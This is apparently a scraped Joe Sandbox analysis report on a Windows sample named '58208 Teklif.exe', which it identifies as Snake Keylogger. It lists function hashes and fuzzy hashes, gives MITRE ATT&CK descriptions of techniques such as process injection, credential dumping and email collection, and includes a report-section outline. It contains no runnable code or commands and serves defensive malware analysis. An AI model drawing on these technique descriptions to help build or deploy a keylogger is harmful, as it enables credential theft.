Source File: 00000003.00000002.3790136651.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41cb078260d7f4922937075d3cdba309593319a0282993e657268723e47bda16
Instruction ID: 26c45fb556244d751bfe871a7d683efaa2a0afa42a012e708428a2445532d356
Opcode Fuzzy Hash: 41cb078260d7f4922937075d3cdba309593319a0282993e657268723e47bda16
Instruction Fuzzy Hash: 83C1C174E01218CFDB54DFA5C994B9DBBB2BF89300F2091A9D409AB368DB345E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06BD08F0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3790136651.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a996daf56a4ba164a13bb7029623d4defab6cbb1e34faa946e2e30d93ae8b06
Instruction ID: a5c4e15d5659687b36445826d5996faf0c35d9af018f98663f65fb4c981d623e
Opcode Fuzzy Hash: 5a996daf56a4ba164a13bb7029623d4defab6cbb1e34faa946e2e30d93ae8b06
Instruction Fuzzy Hash: 18C1C074E01218CFDB54DFA9D994B9DBBB2BF89300F2091A9D409AB368DB345E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06BD7020 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3790136651.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42089f4ee390e54175a9a7a7b98758197d0276b68975dba1a6237b36956655a0
Instruction ID: 92cf7f6e25ba5f28aff6409574f5274914d967a7f71364bf649b679aa7d4fc69
Opcode Fuzzy Hash: 42089f4ee390e54175a9a7a7b98758197d0276b68975dba1a6237b36956655a0
Instruction Fuzzy Hash: 38C1D174E01218CFDB54DFA5D994B9DBBB2BF89300F2091A9D808AB368DB355E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06BD0040 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3790136651.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8610b994d2f88fcb44b8d19fa1675bf335f6f3a9a1d1797556bf91e2f9e3023c
Instruction ID: 6394262fa89cd494fa4cb8fd635d8924ed9a92c60abeebeec577d30a727904be
Opcode Fuzzy Hash: 8610b994d2f88fcb44b8d19fa1675bf335f6f3a9a1d1797556bf91e2f9e3023c
Instruction Fuzzy Hash: E0C1C074E01218CFDB54DFA5D994B9DBBB2BF89300F2091A9D808AB368DB355E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06BD81A8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3790136651.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9013e0b5db97dc7dc6739b8953fd01dc18d622a52630cce57409900e972c4b48
Instruction ID: 9947fd331b112f0b2ef5cf7f26d27098876d34bc1ec8ad2449d3775143cf1d43
Opcode Fuzzy Hash: 9013e0b5db97dc7dc6739b8953fd01dc18d622a52630cce57409900e972c4b48
Instruction Fuzzy Hash: 64C1D074E01218CFDB54DFA5C994BADBBB2BF89300F2091A9D409AB368DB355E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06BD11A0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3790136651.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc3e7b34df747de1bb25ad55198161986435d97adce349469f26250e644674ae
Instruction ID: d7f7da3b3f371ab408abbf38929d73fbf57468566ceaf953383d4fa9264acaa6
Opcode Fuzzy Hash: bc3e7b34df747de1bb25ad55198161986435d97adce349469f26250e644674ae
Instruction Fuzzy Hash: 62C1D174E01218CFDB54DFA9C994B9DBBB2BF89300F1091A9D409AB368DB345E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06BD55E8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3790136651.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c670171314da592f7dfcf0c0e7b48b161008bb431c82c326806cb0b4d8000674
Instruction ID: d9eac589f72dc1dd619228b2edb59d6893e74224051656aaa2786559863bed75
Opcode Fuzzy Hash: c670171314da592f7dfcf0c0e7b48b161008bb431c82c326806cb0b4d8000674
Instruction Fuzzy Hash: C0C1D274E01218CFDB54DFA5C994B9DBBB2BF89300F2091A9D409AB368DB355E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06BD7D50 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3790136651.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 171dc4c6a1715f0d63643f501f4e18dd0ff8f59c9a91a3f535e1c0b466df3339
Instruction ID: e0bcbbaf665f9a3a906ecf72c0051509415095dc5f751f14b67aa61ab7b37313
Opcode Fuzzy Hash: 171dc4c6a1715f0d63643f501f4e18dd0ff8f59c9a91a3f535e1c0b466df3339
Instruction Fuzzy Hash: B1C1D074E01218CFDB54DFA5C994B9DBBB2BF89300F2091AAD408AB368DB345E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06BD0D48 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3790136651.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4516235f17dca76ef63da4dd437102173ce9225a19b60225bde94824c994c54f
Instruction ID: cc879261d93f183663fd1e7280a7a348b7a970a1652fd86061f0ad0a840a45d0
Opcode Fuzzy Hash: 4516235f17dca76ef63da4dd437102173ce9225a19b60225bde94824c994c54f
Instruction Fuzzy Hash: EEC1D074E01218CFDB54DFA9D994B9DBBB2BF89300F2091A9D408AB368DB345E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0141F502 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3766476904.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1410000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a17f09d8129333d2d180fa296c32b26de85343c2068525bb3731a9f459ac9ef5
Instruction ID: 33b77594dd1119bcb4958ae9d5edec8f8500bc7ca08c685b063c5dca0bcf28cf
Opcode Fuzzy Hash: a17f09d8129333d2d180fa296c32b26de85343c2068525bb3731a9f459ac9ef5
Instruction Fuzzy Hash: B5C1D274E01218CFDB14DFA5D994B9DBBB2BF89300F2091AAD409AB368DB345E85CF10

Uniqueness

Uniqueness Score: -1.00%

Function 06BD3808 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3790136651.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7248996c7bb6ee7884e9873e82a2823360074aa55b990d092d61d8debaf2e941
Instruction ID: 900de86d5d57d072b2566c77f3f4e5e17246e1995188fb01836ba6d98ad97d4c
Opcode Fuzzy Hash: 7248996c7bb6ee7884e9873e82a2823360074aa55b990d092d61d8debaf2e941
Instruction Fuzzy Hash: BCB1A374E00218DFDB54DFA9D994A9DBBF2FF89300F1081A9E819AB365DB30A941CF50

Uniqueness

Uniqueness Score: -1.00%

Function 05A92240 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3789424768.0000000005A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a90000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8e20a204dbfaca2ed7619a57c4456393bdf7c28ab0fb552f23369c1225ff4e8
Instruction ID: e8525f39dceca3f09c63519f8b4b36166fa9d58c51d6af4a83a24e7cdd9b2b6a
Opcode Fuzzy Hash: d8e20a204dbfaca2ed7619a57c4456393bdf7c28ab0fb552f23369c1225ff4e8
Instruction Fuzzy Hash: 8EA10474D00218CFDB14DFA9C998BDDBBB1FF89310F248269E419AB2A1DB745985CF50

Uniqueness

Uniqueness Score: -1.00%

Function 05A92586 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3789424768.0000000005A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a90000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 550a26475402f8b09707bb3e590773bc48005803b41b4e775d58e3228eafd2b4
Instruction ID: 76da3239c6b42fd00f2a81e71bd4c41ba407cc517895cbbe75c9b94a12c64ea6
Opcode Fuzzy Hash: 550a26475402f8b09707bb3e590773bc48005803b41b4e775d58e3228eafd2b4
Instruction Fuzzy Hash: C191F074D00218DFDB14DFA9C898BADBBF1FF49310F248269E419AB291DB749985CF14

Uniqueness

Uniqueness Score: -1.00%

Function 06BD3803 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3790136651.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa7bffdb1fa4934a01959c7462e0cdbfcc94b1ae95ba311e73f642668b6ddaee
Instruction ID: 0fba9721ab6aea1cdc8f3e2ed52d4b726f75a91840299dcc8bc5db4b9c740000
Opcode Fuzzy Hash: aa7bffdb1fa4934a01959c7462e0cdbfcc94b1ae95ba311e73f642668b6ddaee
Instruction Fuzzy Hash: 0A51B4B4E01608CFDB48DFAAD99499DBBF2FF89300F149169D419AB365EB309842CF51

Uniqueness

Uniqueness Score: -1.00%

Function 06BDE5D8 Relevance: 5.1, Strings: 4, Instructions: 129COMMON

Download Yara Rule

Strings

Xcq, xrefs: 06BDE6C3
Xcq, xrefs: 06BDE70B
Xcq, xrefs: 06BDE609
Xcq, xrefs: 06BDE63D

Memory Dump Source

Source File: 00000003.00000002.3790136651.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_58208 Teklif.jbxd

Similarity

API ID:
String ID: Xcq$Xcq$Xcq$Xcq
API String ID: 0-2577476577
Opcode ID: fafbdeea15f8c59185ab1586f69159fc64979b6556cf08cf5761bbea39e6925b
Instruction ID: bb4d174e6c9e55fcde7efee758884e088ea4abdee2515577d809a765d6008bf9
Opcode Fuzzy Hash: fafbdeea15f8c59185ab1586f69159fc64979b6556cf08cf5761bbea39e6925b
Instruction Fuzzy Hash: F141F9B5E4412A4BDBB45A68C9407BF76A5EB84350F1111F5C91AAF380FB30DD82DBD1

Uniqueness

Uniqueness Score: -1.00%

Function 06BDE5C8 Relevance: 5.1, Strings: 4, Instructions: 95COMMON

Download Yara Rule

Strings

Xcq, xrefs: 06BDE6C3
Xcq, xrefs: 06BDE70B
Xcq, xrefs: 06BDE609
Xcq, xrefs: 06BDE63D

Memory Dump Source

Source File: 00000003.00000002.3790136651.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6bd0000_58208 Teklif.jbxd

Similarity

API ID:
String ID: Xcq$Xcq$Xcq$Xcq
API String ID: 0-2577476577
Opcode ID: 69aae4631a80e0e24325c7a020c9e0edec6fa71d936a8cb8986a6ef0a98eb3b8
Instruction ID: 14770dc319f23a31945bc6d38c8df937a001d7831666bbe088dc5a6e5d41038b
Opcode Fuzzy Hash: 69aae4631a80e0e24325c7a020c9e0edec6fa71d936a8cb8986a6ef0a98eb3b8
Instruction Fuzzy Hash: A831C8B4E4022A4BDFB58A68C5407BF66A5EB84300F5411F9C91AAF685FB30CD42DB91

Uniqueness

Uniqueness Score: -1.00%

Function 014160E8 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;_q, xrefs: 0141611A
\;_q, xrefs: 01416126
\;_q, xrefs: 014160F4
\;_q, xrefs: 014160FE

Memory Dump Source

Source File: 00000003.00000002.3766476904.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1410000_58208 Teklif.jbxd

Similarity

API ID:
String ID: \;_q$\;_q$\;_q$\;_q
API String ID: 0-294077808
Opcode ID: a014bcf9c0871e953af28a886736b59fba59fa41c8a87319fa4d4354b96184b0
Instruction ID: 9147a99626e74d181b9ef993d2ca4ad595501c0ab813f5d66d776f05923648e1
Opcode Fuzzy Hash: a014bcf9c0871e953af28a886736b59fba59fa41c8a87319fa4d4354b96184b0
Instruction Fuzzy Hash: 2A01F7327400198FDB648E2CC45492677EBAF89B60726856BE406CB37EDAB1DC42C780

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 58208 Teklif.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\58208 Teklif.exe.log

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
58208 Teklif.exe

Function 0155D2F0 Relevance: 6.1, APIs: 4, Instructions: 134
threadCOMMON

Function 0155D300 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Function 07795DDC Relevance: 1.7, APIs: 1, Instructions: 246
processCOMMON

Function 07795DE8 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Function 0155B068 Relevance: 1.7, APIs: 1, Instructions: 196
COMMON

Function 0155590D Relevance: 1.6, APIs: 1, Instructions: 101
COMMON

Function 015544E4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Function 07795B58 Relevance: 1.6, APIs: 1, Instructions: 71
injectionCOMMON

Function 0155D540 Relevance: 1.6, APIs: 1, Instructions: 70
COMMON

Function 07795B60 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Function 07795C48 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Function 077959C8 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON